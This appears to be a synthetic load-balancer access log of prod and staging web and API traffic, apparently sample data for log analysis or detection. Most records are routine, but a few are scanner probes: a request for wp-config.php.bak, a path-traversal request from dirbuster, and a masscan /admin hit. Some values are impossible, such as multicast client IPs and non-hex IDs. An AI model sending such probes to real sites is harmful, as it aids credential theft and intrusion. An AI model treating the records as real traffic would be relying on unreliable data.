"10.0.108.240:443" "200" "-" "-" -https 2024-11-01T00:43:39.031044Z prod-api-alb 193.27.228.75:32116 10.0.40.21:443 0.042966 0.285060 0.073006 401 401 776 3797 "POST /wp-config.php.bak HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1cb-ab3922322cc84a879eccf44f" "-" "-" 5 2024-11-01T00:43:39.031044Z "forward" "-" "-" "10.0.40.21:443" "401" "-" "-" -http 2024-11-01T00:43:40.366120Z staging-alb 11.58.82.0:11037 122.146.185.125:8080 0.049055 0.552216 0.086896 404 404 279 14718 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1cc-d42975c4ac8d447eb9814635" "staging-alb.example.com" "-" 1 2024-11-01T00:43:40.366120Z "forward" "-" "-" "122.146.185.125:8080" "404" "-" "-" -https 2024-11-01T00:43:41.489287Z prod-web-alb 189.171.202.57:34440 10.0.231.40:443 0.049054 0.447768 0.064863 404 404 456 12351 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1cd-43503700ad724b4c87dcc615" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:41.489287Z "forward" "-" "-" "10.0.231.40:443" "404" "-" "-" -https 2024-11-01T00:43:43.438894Z staging-alb 50.81.188.82:19017 160.181.163.81:80 0.093337 0.234124 0.035087 200 200 508 4903 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1cf-c7fbb40a0a0c483fb32711b8" "staging-alb.example.com" "-" 2 2024-11-01T00:43:43.438894Z "forward" "-" "-" "160.181.163.81:80" "200" "-" "-" -https 2024-11-01T00:43:44.425590Z prod-web-alb 25.119.245.184:14309 10.0.178.224:443 0.087525 0.424958 0.002388 301 301 275 4930 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1d0-452c0f0b01cb4f3fb37a01b5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:44.425590Z "forward" "-" "-" "10.0.178.224:443" "301" "-" "-" -https 2024-11-01T00:43:45.726482Z prod-api-alb 95.137.124.167:62960 10.0.203.196:443 0.055966 0.193996 0.003415 200 200 908 3869 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1d1-4c0599881bf1468a8a2bd334" "prod-api-alb.example.com" "-" 0 2024-11-01T00:43:45.726482Z "forward" "-" "-" "10.0.203.196:443" "200" "-" "-" -http 2024-11-01T00:43:47.136419Z staging-alb 28.98.25.52:33159 50.25.214.157:80 0.087489 0.067457 0.088057 301 301 517 9075 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1d3-e72eed03cb4449b991a97579" "staging-alb.example.com" "-" 8 2024-11-01T00:43:47.136419Z "forward" "-" "-" "50.25.214.157:80" "301" "-" "-" -https 2024-11-01T00:43:48.485930Z prod-web-alb 193.27.228.120:47057 10.0.206.235:443 0.070886 0.011593 0.085174 404 404 599 4621 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d4-437c3198509a469ab5a928da" "-" "-" 10 2024-11-01T00:43:48.485930Z "forward" "-" "-" "10.0.206.235:443" "404" "-" "-" -https 2024-11-01T00:43:49.174935Z prod-api-alb 236.29.12.237:19442 10.0.11.242:443 0.046454 0.326789 0.076023 301 301 340 7495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1d5-266c1597b91c494099d67b70" "prod-api-alb.example.com" "-" 9 2024-11-01T00:43:49.174935Z "forward" "-" "-" "10.0.11.242:443" "301" "-" "-" -https 2024-11-01T00:43:50.324533Z prod-web-alb 211.227.133.51:25258 10.0.87.171:443 0.015316 0.458759 0.046158 301 301 448 11886 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d6-0d82dec34e2d4496a37c4670" "prod-web-alb.example.com" "-" 9 2024-11-01T00:43:50.324533Z "forward" "-" "-" "10.0.87.171:443" "301" "-" "-" -https 2024-11-01T00:43:51.255964Z prod-web-alb 225.89.98.165:35272 10.0.125.20:443 0.036436 0.101133 0.021514 404 404 581 6446 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d7-7eb529091004442b8f6f0c19" "prod-web-alb.example.com" "-" 10 2024-11-01T00:43:51.255964Z "forward" "-" "-" "10.0.125.20:443" "404" "-" "-" -http 2024-11-01T00:43:52.515547Z staging-alb 101.25.214.136:53113 154.62.220.38:8080 0.067843 0.727054 0.098421 200 200 765 2748 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1d8-d2dbca2cabe0458e921bbc1a" "staging-alb.example.com" "-" 7 2024-11-01T00:43:52.515547Z "forward" "-" "-" "154.62.220.38:8080" "200" "-" "-" -https 2024-11-01T00:43:54.434419Z staging-alb 199.76.46.63:18872 41.121.134.137:443 0.121516 0.047691 0.099912 302 302 830 7240 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1da-b755f6c0bf7e4fdb805a0431" "staging-alb.example.com" "-" 3 2024-11-01T00:43:54.434419Z "forward" "-" "-" "41.121.134.137:443" "302" "-" "-" -https 2024-11-01T00:43:55.613086Z staging-alb 150.56.125.41:55664 103.169.250.165:443 0.104162 0.273639 0.096125 404 404 156 9681 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1db-4b5eaca86de24e01b7ebde1e" "staging-alb.example.com" "-" 0 2024-11-01T00:43:55.613086Z "forward" "-" "-" "103.169.250.165:443" "404" "-" "-" -https 2024-11-01T00:43:55.951289Z prod-web-alb 15.210.180.91:41018 10.0.157.88:443 0.042593 0.452387 0.045413 200 200 655 364 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1db-d149e9c08b454f229ecbcc74" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:55.951289Z "forward" "-" "-" "10.0.157.88:443" "200" "-" "-" -https 2024-11-01T00:43:57.745960Z prod-api-alb 253.131.200.111:51990 10.0.176.102:443 0.029380 0.298238 0.007655 200 200 1 3889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1dd-7b650b9221e740c38a76a899" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:57.745960Z "forward" "-" "-" "10.0.176.102:443" "200" "-" "-" -https 2024-11-01T00:43:57.904887Z prod-api-alb 40.138.232.175:30573 10.0.236.193:443 0.082649 0.364689 0.025190 302 302 62 3890 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1dd-aa91d8f3cd564f12aaad5a32" "prod-api-alb.example.com" "-" 7 2024-11-01T00:43:57.904887Z "forward" "-" "-" "10.0.236.193:443" "302" "-" "-" -https 2024-11-01T00:43:58.699442Z prod-api-alb 245.32.252.89:11074 10.0.48.82:443 0.057148 0.180229 0.085198 302 302 796 12858 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1de-e382969c146a48b28bd6fee3" "prod-api-alb.example.com" "-" 3 2024-11-01T00:43:58.699442Z "forward" "-" "-" "10.0.48.82:443" "302" "-" "-" -https 2024-11-01T00:43:59.367433Z prod-api-alb 131.192.23.187:32552 10.0.17.170:443 0.083858 0.487301 0.046956 200 200 836 12174 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1df-20f544c1eb4c4548a9efcdb9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:43:59.367433Z "forward" "-" "-" "10.0.17.170:443" "200" "-" "-" -https 2024-11-01T00:44:00.079827Z staging-alb 79.178.127.181:50589 227.110.114.130:443 0.106816 0.197605 0.012539 200 200 77 13368 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e0-9ce70aeef9d94f4aa686d731" "staging-alb.example.com" "-" 7 2024-11-01T00:44:00.079827Z "forward" "-" "-" "227.110.114.130:443" "200" "-" "-" -https 2024-11-01T00:44:01.627063Z prod-web-alb 130.235.215.187:53065 10.0.216.181:443 0.016414 0.373822 0.060457 200 200 99 6368 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e1-5ed4e265c831431da2f38774" "prod-web-alb.example.com" "-" 2 2024-11-01T00:44:01.627063Z "forward" "-" "-" "10.0.216.181:443" "200" "-" "-" -https 2024-11-01T00:44:02.911529Z staging-alb 249.80.11.130:47944 188.127.75.100:443 0.057295 0.069800 0.021768 302 302 475 3962 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e2-a0db2761691c4dc79426ab25" "staging-alb.example.com" "-" 6 2024-11-01T00:44:02.911529Z "forward" "-" "-" "188.127.75.100:443" "302" "-" "-" -https 2024-11-01T00:44:03.091696Z prod-web-alb 192.42.124.36:44582 10.0.23.38:443 0.098410 0.019020 0.092769 200 200 95 6176 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1e3-b8b193ed1e9d4a0881891755" "prod-web-alb.example.com" "-" 6 2024-11-01T00:44:03.091696Z "forward" "-" "-" "10.0.23.38:443" "200" "-" "-" -https 2024-11-01T00:44:04.506340Z staging-alb 83.201.135.161:51598 96.245.96.248:443 0.132787 0.237524 0.039913 200 200 475 2787 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e4-9aa887ddd6e240da89793281" "staging-alb.example.com" "-" 4 2024-11-01T00:44:04.506340Z "forward" "-" "-" "96.245.96.248:443" "200" "-" "-" -https 2024-11-01T00:44:06.432253Z prod-web-alb 180.38.50.187:31652 10.0.141.148:443 0.017263 0.306332 0.041209 302 302 686 1942 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e6-6b5ccbf2aad247eaa923e274" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:06.432253Z "forward" "-" "-" "10.0.141.148:443" "302" "-" "-" -http 2024-11-01T00:44:07.325719Z staging-alb 22.112.123.134:63051 186.41.33.63:443 0.031486 0.294300 0.112110 302 302 71 2517 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e7-adf32f3071e14de9a04558ba" "staging-alb.example.com" "-" 10 2024-11-01T00:44:07.325719Z "forward" "-" "-" "186.41.33.63:443" "302" "-" "-" -http 2024-11-01T00:44:08.066516Z staging-alb 82.34.253.214:60190 33.157.16.232:8080 0.052043 0.119708 0.138380 301 301 745 6697 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e8-b09fe062d4704c7b9544eaba" "staging-alb.example.com" "-" 0 2024-11-01T00:44:08.066516Z "forward" "-" "-" "33.157.16.232:8080" "301" "-" "-" -https 2024-11-01T00:44:09.280128Z prod-web-alb 78.91.38.227:61324 10.0.20.86:443 0.083507 0.328666 0.091572 301 301 84 10812 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e9-a9aa4d88aaae4f1cba4d341e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:44:09.280128Z "forward" "-" "-" "10.0.20.86:443" "301" "-" "-" -https 2024-11-01T00:44:09.478959Z staging-alb 61.67.220.217:36584 221.72.130.21:8080 0.015250 0.604379 0.010251 200 200 312 3371 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e9-7135f71a5d664caf915293f8" "staging-alb.example.com" "-" 8 2024-11-01T00:44:09.478959Z "forward" "-" "-" "221.72.130.21:8080" "200" "-" "-" -http 2024-11-01T00:44:10.392578Z staging-alb 45.155.205.55:55035 239.57.76.188:8080 0.070985 0.422780 0.003496 401 401 614 6626 "GET /admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1ea-b3e920f85a3a4dd3a5441005" "-" "-" 10 2024-11-01T00:44:10.392578Z "forward" "-" "-" "239.57.76.188:8080" "401" "-" "-" -http 2024-11-01T00:44:11.325273Z staging-alb 154.106.29.81:21615 49.219.118.246:443 0.132910 0.747537 0.006972 200 200 699 8467 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1eb-5d42f38799f24c4f8df80632" "staging-alb.example.com" "-" 4 2024-11-01T00:44:11.325273Z "forward" "-" "-" "49.219.118.246:443" "200" "-" "-" -https 2024-11-01T00:44:11.966568Z prod-web-alb 7.189.39.170:19805 10.0.233.46:443 0.028285 0.353454 0.063468 200 200 350 14531 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1eb-e074d69182854f3e8f3f9467" "prod-web-alb.example.com" "-" 1 2024-11-01T00:44:11.966568Z "forward" "-" "-" "10.0.233.46:443" "200" "-" "-" -http 2024-11-01T00:44:12.397011Z staging-alb 189.165.44.223:55955 88.65.98.251:443 0.071475 0.568025 0.006735 200 200 449 8588 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1ec-9f0ec3eb42c94136a28a5b97" "staging-alb.example.com" "-" 1 2024-11-01T00:44:12.397011Z "forward" "-" "-" "88.65.98.251:443" "200" "-" "-" -https 2024-11-01T00:44:13.294747Z prod-web-alb 46.130.93.2:14502 10.0.104.115:443 0.061855 0.236813 0.091816 200 200 408 9371 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ed-499158d392cc4315a2852ff6" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:13.294747Z "forward" "-" "-" "10.0.104.115:443" "200" "-" "-" -https 2024-11-01T00:44:14.971749Z staging-alb 85.31.68.113:39584 233.151.214.94:443 0.107273 0.509038 0.014763 200 200 998 4580 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1ee-88b3cda5c32e47c3981d8ece" "staging-alb.example.com" "-" 1 2024-11-01T00:44:14.971749Z "forward" "-" "-" "233.151.214.94:443" "200" "-" "-" -http 2024-11-01T00:44:16.070168Z staging-alb 120.137.44.10:24538 20.144.127.67:8080 0.066302 0.148116 0.057267 302 302 238 14636 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f0-ed0c72d3a7fc41c4bddb6b53" "staging-alb.example.com" "-" 2 2024-11-01T00:44:16.070168Z "forward" "-" "-" "20.144.127.67:8080" "302" "-" "-" -https 2024-11-01T00:44:16.904493Z prod-api-alb 63.179.42.75:11959 10.0.252.179:443 0.057249 0.245323 0.087365 200 200 309 13921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1f0-7a924fb9c807497f9f0f00a7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:44:16.904493Z "forward" "-" "-" "10.0.252.179:443" "200" "-" "-" -http 2024-11-01T00:44:18.735904Z staging-alb 153.201.45.190:51822 176.241.111.175:443 0.125193 0.515529 0.087409 404 404 302 7933 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1f2-f6ed2ca343bf432183782157" "-" "-" 10 2024-11-01T00:44:18.735904Z "forward" "-" "-" "176.241.111.175:443" "404" "-" "-" -https 2024-11-01T00:44:19.331554Z prod-api-alb 50.47.235.82:26542 10.0.235.53:443 0.021447 0.262587 0.096664 302 302 653 3118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1f3-5fde8a6a3aa54eac9eb60ab9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:19.331554Z "forward" "-" "-" "10.0.235.53:443" "302" "-" "-" -http 2024-11-01T00:44:20.739118Z staging-alb 53.1.64.206:60546 244.2.85.88:8080 0.145105 0.344157 0.039722 302 302 490 12385 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f4-99f47ca6f0e1484dbb10265d" "staging-alb.example.com" "-" 9 2024-11-01T00:44:20.739118Z "forward" "-" "-" "244.2.85.88:8080" "302" "-" "-" -https 2024-11-01T00:44:21.685748Z prod-web-alb 2.143.97.173:20688 10.0.229.47:443 0.048936 0.030496 0.019407 200 200 88 7911 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1f5-74105b614f9a4021a268d231" "prod-web-alb.example.com" "-" 8 2024-11-01T00:44:21.685748Z "forward" "-" "-" "10.0.229.47:443" "200" "-" "-" -https 2024-11-01T00:44:23.121828Z prod-api-alb 21.119.174.80:11232 10.0.112.243:443 0.008258 0.196273 0.066897 301 301 454 14429 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1f7-e5dbd44bb318431781a52122" "prod-api-alb.example.com" "-" 10 2024-11-01T00:44:23.121828Z "forward" "-" "-" "10.0.112.243:443" "301" "-" "-" -http 2024-11-01T00:44:23.520971Z staging-alb 132.235.253.22:64282 78.163.174.12:443 0.142100 0.069063 0.077097 200 200 950 5814 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1f7-0628df16bcfa4742930e607f" "staging-alb.example.com" "-" 4 2024-11-01T00:44:23.520971Z "forward" "-" "-" "78.163.174.12:443" "200" "-" "-" -https 2024-11-01T00:44:24.788742Z staging-alb 41.25.211.30:41209 117.12.169.194:443 0.088877 0.712410 0.124999 200 200 644 9727 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f8-0f0a905426ef4bfa958a3eff" "staging-alb.example.com" "-" 2 2024-11-01T00:44:24.788742Z "forward" "-" "-" "117.12.169.194:443" "200" "-" "-" -https 2024-11-01T00:44:25.606938Z prod-web-alb 164.139.240.142:64185 10.0.220.169:443 0.033714 0.212422 0.011360 200 200 260 9992 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1f9-122ded69ccff4d228da76f4b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:25.606938Z "forward" "-" "-" "10.0.220.169:443" "200" "-" "-" -https 2024-11-01T00:44:27.386284Z prod-api-alb 16.98.57.124:49658 10.0.203.237:443 0.024301 0.398482 0.038654 302 302 40 2152 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1fb-c93c32972acb4ac6b3bff9fb" "prod-api-alb.example.com" "-" 6 2024-11-01T00:44:27.386284Z "forward" "-" "-" "10.0.203.237:443" "302" "-" "-" -https 2024-11-01T00:44:27.836633Z prod-web-alb 77.242.117.63:25231 10.0.140.244:443 0.082367 0.359627 0.081846 200 200 17 2701 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1fb-daa9bb7e46d745079dba9912" "prod-web-alb.example.com" "-" 5 2024-11-01T00:44:27.836633Z "forward" "-" "-" "10.0.140.244:443" "200" "-" "-" -https 2024-11-01T00:44:28.375249Z prod-api-alb 155.73.241.219:32970 10.0.116.108:443 0.059803 0.086285 0.032689 200 200 167 6746 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1fc-bea80b00b507454b982c8ac5" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:28.375249Z "forward" "-" "-" "10.0.116.108:443" "200" "-" "-" -https 2024-11-01T00:44:30.042631Z prod-api-alb 141.110.105.5:54403 10.0.42.27:443 0.036267 0.226139 0.010373 200 200 944 4442 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 